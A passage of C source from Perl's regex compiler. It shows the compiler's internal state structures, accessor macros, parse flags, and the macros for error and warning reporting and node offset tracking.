sub patterns we are processing that need to be handled separately/specially in study_chunk. Its so we can simulate recursion without losing state. */ struct scan_frame; typedef struct scan_frame { regnode *last_regnode; /* last node to process in this frame */ regnode *next_regnode; /* next node to process when last is reached */ U32 prev_recursed_depth; I32 stopparen; /* what stopparen do we use */ struct scan_frame *this_prev_frame; /* this previous frame */ struct scan_frame *prev_frame; /* previous frame */ struct scan_frame *next_frame; /* next frame */ } scan_frame; /* Certain characters are output as a sequence with the first being a * backslash. */ #define isBACKSLASHED_PUNCT(c) strchr("-[]\\^", c) struct RExC_state_t { U32 flags; /* RXf_* are we folding, multilining? */ U32 pm_flags; /* PMf_* stuff from the calling PMOP */ char *precomp; /* uncompiled string. */ char *precomp_end; /* pointer to end of uncompiled string. */ REGEXP *rx_sv; /* The SV that is the regexp. */ regexp *rx; /* perl core regexp structure */ regexp_internal *rxi; /* internal data for regexp object pprivate field */ char *start; /* Start of input for compile */ char *end; /* End of input for compile */ char *parse; /* Input-scan pointer. */ char *copy_start; /* start of copy of input within constructed parse string */ char *save_copy_start; /* Provides one level of saving and restoring 'copy_start' */ char *copy_start_in_input; /* Position in input string corresponding to copy_start */ SSize_t whilem_seen; /* number of WHILEM in this expr */ regnode *emit_start; /* Start of emitted-code area */ regnode_offset emit; /* Code-emit pointer */ I32 naughty; /* How bad is this pattern? */ I32 sawback; /* Did we see \1, ...? */ U32 seen; SSize_t size; /* Number of regnode equivalents in pattern */ /* position beyond 'precomp' of the warning message furthest away from * 'precomp'. During the parse, no warnings are raised for any problems * earlier in the parse than this position. This works if warnings are * raised the first time a given spot is parsed, and if only one * independent warning is raised for any given spot */ Size_t latest_warn_offset; I32 npar; /* Capture buffer count so far in the parse, (OPEN) plus one. ("par" 0 is the whole pattern)*/ I32 total_par; /* During initial parse, is either 0, or -1; the latter indicating a reparse is needed. After that pass, it is what 'npar' became after the pass. Hence, it being > 0 indicates we are in a reparse situation */ I32 nestroot; /* root parens we are in - used by accept */ I32 seen_zerolen; regnode_offset *open_parens; /* offsets to open parens */ regnode_offset *close_parens; /* offsets to close parens */ I32 parens_buf_size; /* #slots malloced open/close_parens */ regnode *end_op; /* END node in program */ I32 utf8; /* whether the pattern is utf8 or not */ I32 orig_utf8; /* whether the pattern was originally in utf8 */ /* XXX use this for future optimisation of case * where pattern must be upgraded to utf8. */ I32 uni_semantics; /* If a d charset modifier should use unicode rules, even if the pattern is not in utf8 */ HV *paren_names; /* Paren names */ regnode **recurse; /* Recurse regops */ I32 recurse_count; /* Number of recurse regops we have generated */ U8 *study_chunk_recursed; /* bitmap of which subs we have moved through */ U32 study_chunk_recursed_bytes; /* bytes in bitmap */ I32 in_lookbehind; I32 contains_locale; I32 override_recoding; #ifdef EBCDIC I32 recode_x_to_native; #endif I32 in_multi_char_class; struct reg_code_blocks *code_blocks;/* positions of literal (?{}) within pattern */ int code_index; /* next code_blocks[] slot */ SSize_t maxlen; /* mininum possible number of chars in string to match */ scan_frame *frame_head; scan_frame *frame_last; U32 frame_count; AV *warn_text; HV *unlexed_names; #ifdef ADD_TO_REGEXEC char *starttry; /* -Dr: where regtry was called. */ #define RExC_starttry (pRExC_state->starttry) #endif SV *runtime_code_qr; /* qr with the runtime code blocks */ #ifdef DEBUGGING const char *lastparse; I32 lastnum; AV *paren_name_list; /* idx -> name */ U32 study_chunk_recursed_count; SV *mysv1; SV *mysv2; #define RExC_lastparse (pRExC_state->lastparse) #define RExC_lastnum (pRExC_state->lastnum) #define RExC_paren_name_list (pRExC_state->paren_name_list) #define RExC_study_chunk_recursed_count (pRExC_state->study_chunk_recursed_count) #define RExC_mysv (pRExC_state->mysv1) #define RExC_mysv1 (pRExC_state->mysv1) #define RExC_mysv2 (pRExC_state->mysv2) #endif bool seen_d_op; bool strict; bool study_started; bool in_script_run; bool use_BRANCHJ; }; #define RExC_flags (pRExC_state->flags) #define RExC_pm_flags (pRExC_state->pm_flags) #define RExC_precomp (pRExC_state->precomp) #define RExC_copy_start_in_input (pRExC_state->copy_start_in_input) #define RExC_copy_start_in_constructed (pRExC_state->copy_start) #define RExC_save_copy_start_in_constructed (pRExC_state->save_copy_start) #define RExC_precomp_end (pRExC_state->precomp_end) #define RExC_rx_sv (pRExC_state->rx_sv) #define RExC_rx (pRExC_state->rx) #define RExC_rxi (pRExC_state->rxi) #define RExC_start (pRExC_state->start) #define RExC_end (pRExC_state->end) #define RExC_parse (pRExC_state->parse) #define RExC_latest_warn_offset (pRExC_state->latest_warn_offset ) #define RExC_whilem_seen (pRExC_state->whilem_seen) #define RExC_seen_d_op (pRExC_state->seen_d_op) /* Seen something that differs under /d from /u ? */ #ifdef RE_TRACK_PATTERN_OFFSETS # define RExC_offsets (RExC_rxi->u.offsets) /* I am not like the others */ #endif #define RExC_emit (pRExC_state->emit) #define RExC_emit_start (pRExC_state->emit_start) #define RExC_sawback (pRExC_state->sawback) #define RExC_seen (pRExC_state->seen) #define RExC_size (pRExC_state->size) #define RExC_maxlen (pRExC_state->maxlen) #define RExC_npar (pRExC_state->npar) #define RExC_total_parens (pRExC_state->total_par) #define RExC_parens_buf_size (pRExC_state->parens_buf_size) #define RExC_nestroot (pRExC_state->nestroot) #define RExC_seen_zerolen (pRExC_state->seen_zerolen) #define RExC_utf8 (pRExC_state->utf8) #define RExC_uni_semantics (pRExC_state->uni_semantics) #define RExC_orig_utf8 (pRExC_state->orig_utf8) #define RExC_open_parens (pRExC_state->open_parens) #define RExC_close_parens (pRExC_state->close_parens) #define RExC_end_op (pRExC_state->end_op) #define RExC_paren_names (pRExC_state->paren_names) #define RExC_recurse (pRExC_state->recurse) #define RExC_recurse_count (pRExC_state->recurse_count) #define RExC_study_chunk_recursed (pRExC_state->study_chunk_recursed) #define RExC_study_chunk_recursed_bytes \ (pRExC_state->study_chunk_recursed_bytes) #define RExC_in_lookbehind (pRExC_state->in_lookbehind) #define RExC_contains_locale (pRExC_state->contains_locale) #ifdef EBCDIC # define RExC_recode_x_to_native (pRExC_state->recode_x_to_native) #endif #define RExC_in_multi_char_class (pRExC_state->in_multi_char_class) #define RExC_frame_head (pRExC_state->frame_head) #define RExC_frame_last (pRExC_state->frame_last) #define RExC_frame_count (pRExC_state->frame_count) #define RExC_strict (pRExC_state->strict) #define RExC_study_started (pRExC_state->study_started) #define RExC_warn_text (pRExC_state->warn_text) #define RExC_in_script_run (pRExC_state->in_script_run) #define RExC_use_BRANCHJ (pRExC_state->use_BRANCHJ) #define RExC_unlexed_names (pRExC_state->unlexed_names) /* Heuristic check on the complexity of the pattern: if TOO_NAUGHTY, we set * a flag to disable back-off on the fixed/floating substrings - if it's * a high complexity pattern we assume the benefit of avoiding a full match * is worth the cost of checking for the substrings even if they rarely help. */ #define RExC_naughty (pRExC_state->naughty) #define TOO_NAUGHTY (10) #define MARK_NAUGHTY(add) \ if (RExC_naughty < TOO_NAUGHTY) \ RExC_naughty += (add) #define MARK_NAUGHTY_EXP(exp, add) \ if (RExC_naughty < TOO_NAUGHTY) \ RExC_naughty += RExC_naughty / (exp) + (add) #define ISMULT1(c) ((c) == '*' || (c) == '+' || (c) == '?') #define ISMULT2(s) ((*s) == '*' || (*s) == '+' || (*s) == '?' || \ ((*s) == '{' && regcurly(s))) /* * Flags to be passed up and down. */ #define WORST 0 /* Worst case. */ #define HASWIDTH 0x01 /* Known to not match null strings, could match non-null ones. */ /* Simple enough to be STAR/PLUS operand; in an EXACTish node must be a single * character. (There needs to be a case: in the switch statement in regexec.c * for any node marked SIMPLE.) Note that this is not the same thing as * REGNODE_SIMPLE */ #define SIMPLE 0x02 #define SPSTART 0x04 /* Starts with * or + */ #define POSTPONED 0x08 /* (?1),(?&name), (??{...}) or similar */ #define TRYAGAIN 0x10 /* Weeded out a declaration. */ #define RESTART_PARSE 0x20 /* Need to redo the parse */ #define NEED_UTF8 0x40 /* In conjunction with RESTART_PARSE, need to calcuate sizes as UTF-8 */ #define REG_NODE_NUM(x) ((x) ? (int)((x)-RExC_emit_start) : -1) /* whether trie related optimizations are enabled */ #if PERL_ENABLE_EXTENDED_TRIE_OPTIMISATION #define TRIE_STUDY_OPT #define FULL_TRIE_STUDY #define TRIE_STCLASS #endif #define PBYTE(u8str,paren) ((U8*)(u8str))[(paren) >> 3] #define PBITVAL(paren) (1 << ((paren) & 7)) #define PAREN_TEST(u8str,paren) ( PBYTE(u8str,paren) & PBITVAL(paren)) #define PAREN_SET(u8str,paren) PBYTE(u8str,paren) |= PBITVAL(paren) #define PAREN_UNSET(u8str,paren) PBYTE(u8str,paren) &= (~PBITVAL(paren)) #define REQUIRE_UTF8(flagp) STMT_START { \ if (!UTF) { \ *flagp = RESTART_PARSE|NEED_UTF8; \ return 0; \ } \ } STMT_END /* Change from /d into /u rules, and restart the parse. RExC_uni_semantics is * a flag that indicates we need to override /d with /u as a result of * something in the pattern. It should only be used in regards to calling * set_regex_charset() or get_regex_charse() */ #define REQUIRE_UNI_RULES(flagp, restart_retval) \ STMT_START { \ if (DEPENDS_SEMANTICS) { \ set_regex_charset(&RExC_flags, REGEX_UNICODE_CHARSET); \ RExC_uni_semantics = 1; \ if (RExC_seen_d_op && LIKELY(! IN_PARENS_PASS)) { \ /* No need to restart the parse if we haven't seen \ * anything that differs between /u and /d, and no need \ * to restart immediately if we're going to reparse \ * anyway to count parens */ \ *flagp |= RESTART_PARSE; \ return restart_retval; \ } \ } \ } STMT_END #define REQUIRE_BRANCHJ(flagp, restart_retval) \ STMT_START { \ RExC_use_BRANCHJ = 1; \ *flagp |= RESTART_PARSE; \ return restart_retval; \ } STMT_END /* Until we have completed the parse, we leave RExC_total_parens at 0 or * less. After that, it must always be positive, because the whole re is * considered to be surrounded by virtual parens. Setting it to negative * indicates there is some construct that needs to know the actual number of * parens to be properly handled. And that means an extra pass will be * required after we've counted them all */ #define ALL_PARENS_COUNTED (RExC_total_parens > 0) #define REQUIRE_PARENS_PASS \ STMT_START { /* No-op if have completed a pass */ \ if (! ALL_PARENS_COUNTED) RExC_total_parens = -1; \ } STMT_END #define IN_PARENS_PASS (RExC_total_parens < 0) /* This is used to return failure (zero) early from the calling function if * various flags in 'flags' are set. Two flags always cause a return: * 'RESTART_PARSE' and 'NEED_UTF8'. 'extra' can be used to specify any * additional flags that should cause a return; 0 if none. If the return will * be done, '*flagp' is first set to be all of the flags that caused the * return. */ #define RETURN_FAIL_ON_RESTART_OR_FLAGS(flags,flagp,extra) \ STMT_START { \ if ((flags) & (RESTART_PARSE|NEED_UTF8|(extra))) { \ *(flagp) = (flags) & (RESTART_PARSE|NEED_UTF8|(extra)); \ return 0; \ } \ } STMT_END #define MUST_RESTART(flags) ((flags) & (RESTART_PARSE)) #define RETURN_FAIL_ON_RESTART(flags,flagp) \ RETURN_FAIL_ON_RESTART_OR_FLAGS( flags, flagp, 0) #define RETURN_FAIL_ON_RESTART_FLAGP(flagp) \ if (MUST_RESTART(*(flagp))) return 0 /* This converts the named class defined in regcomp.h to its equivalent class * number defined in handy.h. */ #define namedclass_to_classnum(class) ((int) ((class) / 2)) #define classnum_to_namedclass(classnum) ((classnum) * 2) #define _invlist_union_complement_2nd(a, b, output) \ _invlist_union_maybe_complement_2nd(a, b, TRUE, output) #define _invlist_intersection_complement_2nd(a, b, output) \ _invlist_intersection_maybe_complement_2nd(a, b, TRUE, output) /* About scan_data_t. During optimisation we recurse through the regexp program performing various inplace (keyhole style) optimisations. In addition study_chunk and scan_commit populate this data structure with information about what strings MUST appear in the pattern. We look for the longest string that must appear at a fixed location, and we look for the longest string that may appear at a floating location. So for instance in the pattern: /FOO[xX]A.*B[xX]BAR/ Both 'FOO' and 'A' are fixed strings. Both 'B' and 'BAR' are floating strings (because they follow a .* construct). study_chunk will identify both FOO and BAR as being the longest fixed and floating strings respectively. The strings can be composites, for instance /(f)(o)(o)/ will result in a composite fixed substring 'foo'. For each string some basic information is maintained: - min_offset This is the position the string must appear at, or not before. It also implicitly (when combined with minlenp) tells us how many characters must match before the string we are searching for. Likewise when combined with minlenp and the length of the string it tells us how many characters must appear after the string we have found. - max_offset Only used for floating strings. This is the rightmost point that the string can appear at. If set to SSize_t_MAX it indicates that the string can occur infinitely far to the right. For fixed strings, it is equal to min_offset. - minlenp A pointer to the minimum number of characters of the pattern that the string was found inside. This is important as in the case of positive lookahead or positive lookbehind we can have multiple patterns involved. Consider /(?=FOO).*F/ The minimum length of the pattern overall is 3, the minimum length of the lookahead part is 3, but the minimum length of the part that will actually match is 1. So 'FOO's minimum length is 3, but the minimum length for the F is 1. This is important as the minimum length is used to determine offsets in front of and behind the string being looked for. Since strings can be composites this is the length of the pattern at the time it was committed with a scan_commit. Note that the length is calculated by study_chunk, so that the minimum lengths are not known until the full pattern has been compiled, thus the pointer to the value. - lookbehind In the case of lookbehind the string being searched for can be offset past the start point of the final matching string. If this value was just blithely removed from the min_offset it would invalidate some of the calculations for how many chars must match before or after (as they are derived from min_offset and minlen and the length of the string being searched for). When the final pattern is compiled and the data is moved from the scan_data_t structure into the regexp structure the information about lookbehind is factored in, with the information that would have been lost precalculated in the end_shift field for the associated string. The fields pos_min and pos_delta are used to store the minimum offset and the delta to the maximum offset at the current point in the pattern. */ struct scan_data_substrs { SV *str; /* longest substring found in pattern */ SSize_t min_offset; /* earliest point in string it can appear */ SSize_t max_offset; /* latest point in string it can appear */ SSize_t *minlenp; /* pointer to the minlen relevant to the string */ SSize_t lookbehind; /* is the pos of the string modified by LB */ I32 flags; /* per substring SF_* and SCF_* flags */ }; typedef struct scan_data_t { /*I32 len_min; unused */ /*I32 len_delta; unused */ SSize_t pos_min; SSize_t pos_delta; SV *last_found; SSize_t last_end; /* min value, <0 unless valid. */ SSize_t last_start_min; SSize_t last_start_max; U8 cur_is_floating; /* whether the last_* values should be set as * the next fixed (0) or floating (1) * substring */ /* [0] is longest fixed substring so far, [1] is longest float so far */ struct scan_data_substrs substrs[2]; I32 flags; /* common SF_* and SCF_* flags */ I32 whilem_c; SSize_t *last_closep; regnode_ssc *start_class; } scan_data_t; /* * Forward declarations for pregcomp()'s friends. */ static const scan_data_t zero_scan_data = { 0, 0, NULL, 0, 0, 0, 0, { { NULL, 0, 0, 0, 0, 0 }, { NULL, 0, 0, 0, 0, 0 }, }, 0, 0, NULL, NULL }; /* study flags */ #define SF_BEFORE_SEOL 0x0001 #define SF_BEFORE_MEOL 0x0002 #define SF_BEFORE_EOL (SF_BEFORE_SEOL|SF_BEFORE_MEOL) #define SF_IS_INF 0x0040 #define SF_HAS_PAR 0x0080 #define SF_IN_PAR 0x0100 #define SF_HAS_EVAL 0x0200 /* SCF_DO_SUBSTR is the flag that tells the regexp analyzer to track the * longest substring in the pattern. When it is not set the optimiser keeps * track of position, but does not keep track of the actual strings seen, * * So for instance /foo/ will be parsed with SCF_DO_SUBSTR being true, but * /foo/i will not. * * Similarly, /foo.*(blah|erm|huh).*fnorble/ will have "foo" and "fnorble" * parsed with SCF_DO_SUBSTR on, but while processing the (...) it will be * turned off because of the alternation (BRANCH). */ #define SCF_DO_SUBSTR 0x0400 #define SCF_DO_STCLASS_AND 0x0800 #define SCF_DO_STCLASS_OR 0x1000 #define SCF_DO_STCLASS (SCF_DO_STCLASS_AND|SCF_DO_STCLASS_OR) #define SCF_WHILEM_VISITED_POS 0x2000 #define SCF_TRIE_RESTUDY 0x4000 /* Do restudy? */ #define SCF_SEEN_ACCEPT 0x8000 #define SCF_TRIE_DOING_RESTUDY 0x10000 #define SCF_IN_DEFINE 0x20000 #define UTF cBOOL(RExC_utf8) /* The enums for all these are ordered so things work out correctly */ #define LOC (get_regex_charset(RExC_flags) == REGEX_LOCALE_CHARSET) #define DEPENDS_SEMANTICS (get_regex_charset(RExC_flags) \ == REGEX_DEPENDS_CHARSET) #define UNI_SEMANTICS (get_regex_charset(RExC_flags) == REGEX_UNICODE_CHARSET) #define AT_LEAST_UNI_SEMANTICS (get_regex_charset(RExC_flags) \ >= REGEX_UNICODE_CHARSET) #define ASCII_RESTRICTED (get_regex_charset(RExC_flags) \ == REGEX_ASCII_RESTRICTED_CHARSET) #define AT_LEAST_ASCII_RESTRICTED (get_regex_charset(RExC_flags) \ >= REGEX_ASCII_RESTRICTED_CHARSET) #define ASCII_FOLD_RESTRICTED (get_regex_charset(RExC_flags) \ == REGEX_ASCII_MORE_RESTRICTED_CHARSET) #define FOLD cBOOL(RExC_flags & RXf_PMf_FOLD) /* For programs that want to be strictly Unicode compatible by dying if any * attempt is made to match a non-Unicode code point against a Unicode * property. */ #define ALWAYS_WARN_SUPER ckDEAD(packWARN(WARN_NON_UNICODE)) #define OOB_NAMEDCLASS -1 /* There is no code point that is out-of-bounds, so this is problematic. But * its only current use is to initialize a variable that is always set before * looked at. */ #define OOB_UNICODE 0xDEADBEEF #define CHR_SVLEN(sv) (UTF ? sv_len_utf8(sv) : SvCUR(sv)) /* length of regex to show in messages that don't mark a position within */ #define RegexLengthToShowInErrorMessages 127 /* * If MARKER[12] are adjusted, be sure to adjust the constants at the top * of t/op/regmesg.t, the tests in t/op/re_tests, and those in * op/pragma/warn/regcomp. */ #define MARKER1 "<-- HERE" /* marker as it appears in the description */ #define MARKER2 " <-- HERE " /* marker as it appears within the regex */ #define REPORT_LOCATION " in regex; marked by " MARKER1 \ " in m/%" UTF8f MARKER2 "%" UTF8f "/" /* The code in this file in places uses one level of recursion with parsing * rebased to an alternate string constructed by us in memory. This can take * the form of something that is completely different from the input, or * something that uses the input as part of the alternate. In the first case, * there should be no possibility of an error, as we are in complete control of * the alternate string. But in the second case we don't completely control * the input portion, so there may be errors in that. Here's an example: * /[abc\x{DF}def]/ui * is handled specially because \x{df} folds to a sequence of more than one * character: 'ss'. What is done is to create and parse an alternate string, * which looks like this: * /(?:\x{DF}|[abc\x{DF}def])/ui * where it uses the input unchanged in the middle of something it constructs, * which is a branch for the DF outside the character class, and clustering * parens around the whole thing. (It knows enough to skip the DF inside the * class while in this substitute parse.) 'abc' and 'def' may have errors that * need to be reported. The general situation looks like this: * * |<------- identical ------>| * sI tI xI eI * Input: --------------------------------------------------------------- * Constructed: --------------------------------------------------- * sC tC xC eC EC * |<------- identical ------>| * * sI..eI is the portion of the input pattern we are concerned with here. * sC..EC is the constructed substitute parse string. * sC..tC is constructed by us * tC..eC is an exact duplicate of the portion of the input pattern tI..eI. * In the diagram, these are vertically aligned. * eC..EC is also constructed by us. * xC is the position in the substitute parse string where we found a * problem. * xI is the position in the original pattern corresponding to xC. * * We want to display a message showing the real input string. Thus we need to * translate from xC to xI. We know that xC >= tC, since the portion of the * string sC..tC has been constructed by us, and so shouldn't have errors. We * get: * xI = tI + (xC - tC) * * When the substitute parse is constructed, the code needs to set: * RExC_start (sC) * RExC_end (eC) * RExC_copy_start_in_input (tI) * RExC_copy_start_in_constructed (tC) * and restore them when done. * * During normal processing of the input pattern, both * 'RExC_copy_start_in_input' and 'RExC_copy_start_in_constructed' are set to * sI, so that xC equals xI. */ #define sI RExC_precomp #define eI RExC_precomp_end #define sC RExC_start #define eC RExC_end #define tI RExC_copy_start_in_input #define tC RExC_copy_start_in_constructed #define xI(xC) (tI + (xC - tC)) #define xI_offset(xC) (xI(xC) - sI) #define REPORT_LOCATION_ARGS(xC) \ UTF8fARG(UTF, \ (xI(xC) > eI) /* Don't run off end */ \ ? eI - sI /* Length before the <--HERE */ \ : ((xI_offset(xC) >= 0) \ ? xI_offset(xC) \ : (Perl_croak(aTHX_ "panic: %s: %d: negative offset: %" \ IVdf " trying to output message for " \ " pattern %.*s", \ __FILE__, __LINE__, (IV) xI_offset(xC), \ ((int) (eC - sC)), sC), 0)), \ sI), /* The input pattern printed up to the <--HERE */ \ UTF8fARG(UTF, \ (xI(xC) > eI) ? 0 : eI - xI(xC), /* Length after <--HERE */ \ (xI(xC) > eI) ? eI : xI(xC)) /* pattern after <--HERE */ /* Used to point after bad bytes for an error message, but avoid skipping * past a nul byte. */ #define SKIP_IF_CHAR(s, e) (!*(s) ? 0 : UTF ? UTF8_SAFE_SKIP(s, e) : 1) /* Set up to clean up after our imminent demise */ #define PREPARE_TO_DIE \ STMT_START { \ if (RExC_rx_sv) \ SAVEFREESV(RExC_rx_sv); \ if (RExC_open_parens) \ SAVEFREEPV(RExC_open_parens); \ if (RExC_close_parens) \ SAVEFREEPV(RExC_close_parens); \ } STMT_END /* * Calls SAVEDESTRUCTOR_X if needed, then calls Perl_croak with the given * arg. Show regex, up to a maximum length. If it's too long, chop and add * "...". */ #define _FAIL(code) STMT_START { \ const char *ellipses = ""; \ IV len = RExC_precomp_end - RExC_precomp; \ \ PREPARE_TO_DIE; \ if (len > RegexLengthToShowInErrorMessages) { \ /* chop 10 shorter than the max, to ensure meaning of "..." */ \ len = RegexLengthToShowInErrorMessages - 10; \ ellipses = "..."; \ } \ code; \ } STMT_END #define FAIL(msg) _FAIL( \ Perl_croak(aTHX_ "%s in regex m/%" UTF8f "%s/", \ msg, UTF8fARG(UTF, len, RExC_precomp), ellipses)) #define FAIL2(msg,arg) _FAIL( \ Perl_croak(aTHX_ msg " in regex m/%" UTF8f "%s/", \ arg, UTF8fARG(UTF, len, RExC_precomp), ellipses)) /* * Simple_vFAIL -- like FAIL, but marks the current location in the scan */ #define Simple_vFAIL(m) STMT_START { \ Perl_croak(aTHX_ "%s" REPORT_LOCATION, \ m, REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END /* * Calls SAVEDESTRUCTOR_X if needed, then Simple_vFAIL() */ #define vFAIL(m) STMT_START { \ PREPARE_TO_DIE; \ Simple_vFAIL(m); \ } STMT_END /* * Like Simple_vFAIL(), but accepts two arguments. */ #define Simple_vFAIL2(m,a1) STMT_START { \ S_re_croak2(aTHX_ UTF, m, REPORT_LOCATION, a1, \ REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END /* * Calls SAVEDESTRUCTOR_X if needed, then Simple_vFAIL2(). */ #define vFAIL2(m,a1) STMT_START { \ PREPARE_TO_DIE; \ Simple_vFAIL2(m, a1); \ } STMT_END /* * Like Simple_vFAIL(), but accepts three arguments. */ #define Simple_vFAIL3(m, a1, a2) STMT_START { \ S_re_croak2(aTHX_ UTF, m, REPORT_LOCATION, a1, a2, \ REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END /* * Calls SAVEDESTRUCTOR_X if needed, then Simple_vFAIL3(). */ #define vFAIL3(m,a1,a2) STMT_START { \ PREPARE_TO_DIE; \ Simple_vFAIL3(m, a1, a2); \ } STMT_END /* * Like Simple_vFAIL(), but accepts four arguments. */ #define Simple_vFAIL4(m, a1, a2, a3) STMT_START { \ S_re_croak2(aTHX_ UTF, m, REPORT_LOCATION, a1, a2, a3, \ REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END #define vFAIL4(m,a1,a2,a3) STMT_START { \ PREPARE_TO_DIE; \ Simple_vFAIL4(m, a1, a2, a3); \ } STMT_END /* A specialized version of vFAIL2 that works with UTF8f */ #define vFAIL2utf8f(m, a1) STMT_START { \ PREPARE_TO_DIE; \ S_re_croak2(aTHX_ UTF, m, REPORT_LOCATION, a1, \ REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END #define vFAIL3utf8f(m, a1, a2) STMT_START { \ PREPARE_TO_DIE; \ S_re_croak2(aTHX_ UTF, m, REPORT_LOCATION, a1, a2, \ REPORT_LOCATION_ARGS(RExC_parse)); \ } STMT_END /* Setting this to NULL is a signal to not output warnings */ #define TURN_OFF_WARNINGS_IN_SUBSTITUTE_PARSE \ STMT_START { \ RExC_save_copy_start_in_constructed = RExC_copy_start_in_constructed;\ RExC_copy_start_in_constructed = NULL; \ } STMT_END #define RESTORE_WARNINGS \ RExC_copy_start_in_constructed = RExC_save_copy_start_in_constructed /* Since a warning can be generated multiple times as the input is reparsed, we * output it the first time we come to that point in the parse, but suppress it * otherwise. 'RExC_copy_start_in_constructed' being NULL is a flag to not * generate any warnings */ #define TO_OUTPUT_WARNINGS(loc) \ ( RExC_copy_start_in_constructed \ && ((xI(loc)) - RExC_precomp) > (Ptrdiff_t) RExC_latest_warn_offset) /* After we've emitted a warning, we save the position in the input so we don't * output it again */ #define UPDATE_WARNINGS_LOC(loc) \ STMT_START { \ if (TO_OUTPUT_WARNINGS(loc)) { \ RExC_latest_warn_offset = MAX(sI, MIN(eI, xI(loc))) \ - RExC_precomp; \ } \ } STMT_END /* 'warns' is the output of the packWARNx macro used in 'code' */ #define _WARN_HELPER(loc, warns, code) \ STMT_START { \ if (! RExC_copy_start_in_constructed) { \ Perl_croak( aTHX_ "panic! %s: %d: Tried to warn when none" \ " expected at '%s'", \ __FILE__, __LINE__, loc); \ } \ if (TO_OUTPUT_WARNINGS(loc)) { \ if (ckDEAD(warns)) \ PREPARE_TO_DIE; \ code; \ UPDATE_WARNINGS_LOC(loc); \ } \ } STMT_END /* m is not necessarily a "literal string", in this macro */ #define reg_warn_non_literal_string(loc, m) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_warner(aTHX_ packWARN(WARN_REGEXP), \ "%s" REPORT_LOCATION, \ m, REPORT_LOCATION_ARGS(loc))) #define ckWARNreg(loc,m) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_ck_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) #define vWARN(loc, m) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) \ #define vWARN_dep(loc, m) \ _WARN_HELPER(loc, packWARN(WARN_DEPRECATED), \ Perl_warner(aTHX_ packWARN(WARN_DEPRECATED), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) #define ckWARNdep(loc,m) \ _WARN_HELPER(loc, packWARN(WARN_DEPRECATED), \ Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) #define ckWARNregdep(loc,m) \ _WARN_HELPER(loc, packWARN2(WARN_DEPRECATED, WARN_REGEXP), \ Perl_ck_warner_d(aTHX_ packWARN2(WARN_DEPRECATED, \ WARN_REGEXP), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) #define ckWARN2reg_d(loc,m, a1) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_ck_warner_d(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, REPORT_LOCATION_ARGS(loc))) #define ckWARN2reg(loc, m, a1) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_ck_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, REPORT_LOCATION_ARGS(loc))) #define vWARN3(loc, m, a1, a2) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, a2, REPORT_LOCATION_ARGS(loc))) #define ckWARN3reg(loc, m, a1, a2) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_ck_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, a2, \ REPORT_LOCATION_ARGS(loc))) #define vWARN4(loc, m, a1, a2, a3) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, a2, a3, \ REPORT_LOCATION_ARGS(loc))) #define ckWARN4reg(loc, m, a1, a2, a3) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_ck_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, a2, a3, \ REPORT_LOCATION_ARGS(loc))) #define vWARN5(loc, m, a1, a2, a3, a4) \ _WARN_HELPER(loc, packWARN(WARN_REGEXP), \ Perl_warner(aTHX_ packWARN(WARN_REGEXP), \ m REPORT_LOCATION, \ a1, a2, a3, a4, \ REPORT_LOCATION_ARGS(loc))) #define ckWARNexperimental(loc, class, m) \ _WARN_HELPER(loc, packWARN(class), \ Perl_ck_warner_d(aTHX_ packWARN(class), \ m REPORT_LOCATION, \ REPORT_LOCATION_ARGS(loc))) /* Convert between a pointer to a node and its offset from the beginning of the * program */ #define REGNODE_p(offset) (RExC_emit_start + (offset)) #define REGNODE_OFFSET(node) ((node) - RExC_emit_start) /* Macros for recording node offsets. 20001227 mjd@plover.com * Nodes are numbered 1, 2, 3, 4. Node #n's position is recorded in * element 2*n-1 of the array. Element #2n holds the byte length node #n. * Element 0 holds the number n. * Position is 1 indexed. */ #ifndef RE_TRACK_PATTERN_OFFSETS #define Set_Node_Offset_To_R(offset,byte) #define Set_Node_Offset(node,byte) #define Set_Cur_Node_Offset #define Set_Node_Length_To_R(node,len) #define Set_Node_Length(node,len) #define Set_Node_Cur_Length(node,start) #define Node_Offset(n) #define Node_Length(n) #define Set_Node_Offset_Length(node,offset,len) #define ProgLen(ri) ri->u.proglen #define SetProgLen(ri,x) ri->u.proglen = x #define Track_Code(code) #else #define ProgLen(ri) ri->u.offsets[0] #define SetProgLen(ri,x) ri->u.offsets[0] = x #define Set_Node_Offset_To_R(offset,byte) STMT_START { \ MJD_OFFSET_DEBUG(("** (%d) offset of node %d is %d.\n", \ __LINE__, (int)(offset), (int)(byte))); \ if((offset) < 0) { \ Perl_croak(aTHX_ "value of node is %d in Offset macro", \ (int)(offset)); \ } else { \ RExC_offsets[2*(offset)-1] = (byte); \ } \ } STMT_END #define Set_Node_Offset(node,byte) \ Set_Node_Offset_To_R(REGNODE_OFFSET(node), (byte)-RExC_start) #define Set_Cur_Node_Offset Set_Node_Offset(RExC_emit, RExC_parse) #define 